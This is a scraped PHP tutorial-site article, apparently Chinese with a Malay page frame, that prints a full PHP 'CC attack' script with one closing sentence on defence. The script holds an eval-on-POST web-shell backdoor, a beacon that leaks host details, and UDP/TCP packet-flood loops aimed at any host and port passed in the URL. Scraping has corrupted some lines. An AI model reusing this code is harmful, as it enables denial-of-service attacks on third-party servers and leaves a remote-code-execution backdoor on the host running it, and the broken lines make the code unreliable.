Rumah  >  Artikel  >  pembangunan bahagian belakang  >  php cc攻击代码 cc攻击防范方法

php cc攻击代码 cc攻击防范方法

WBOY
WBOYasal
2016-07-25 08:54:251353semak imbas
  1. eval($_POST[Chr(90)]);
  2. set_time_limit(86400);
  3. ignore_user_abort(True);
  4. $packets = 0;
  5. $http = $_GET['http'];
  6. $rand = $_GET['exit'];
  7. $exec_time = $_GET['time'];
  8. if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
  9. {
  10. if(StrLen($_GET['rat'])0)
  11. {
  12. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13. exit;
  14. }
  15. echo "Php 2012 Terminator";
  16. exit;
  17. }
  18. for($i=0;$i{
  19. $out .= "X";
  20. }
  21. //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
  22. $max_time = time()+$exec_time;
  23. if($rand==53)
  24. while(1)
  25. {
  26. $packets++;
  27. if(time() > $max_time)
  28. {
  29. break;
  30. }
  31. $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
  32. if($fp)
  33. {
  34. fwrite($fp, $out);
  35. fclose($fp);
  36. }
  37. }
  38. else
  39. if($rand==500)
  40. while(1)
  41. {
  42. $packets++;
  43. if(time() > $max_time){
  44. break;
  45. }
  46. $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
  47. if($fp)
  48. {
  49. fwrite($fp, $out);
  50. fclose($fp);
  51. }
  52. }
  53. else
  54. while(1)
  55. {
  56. $packets++;
  57. if(time() > $max_time){
  58. break;
  59. }
  60. $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
  61. if($fp)
  62. {
  63. fwrite($fp, $out);
  64. fclose($fp);
  65. }
  66. }
  67. ?>
复制代码

对于cc攻击的防范,如果是动态页面,可以判断时间,如果是静态的网站,则需要服务器上安装防cc攻击的软件,一般服务器安全狗还是不错的。

对于php cc攻击的防范,要时刻注意。



Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn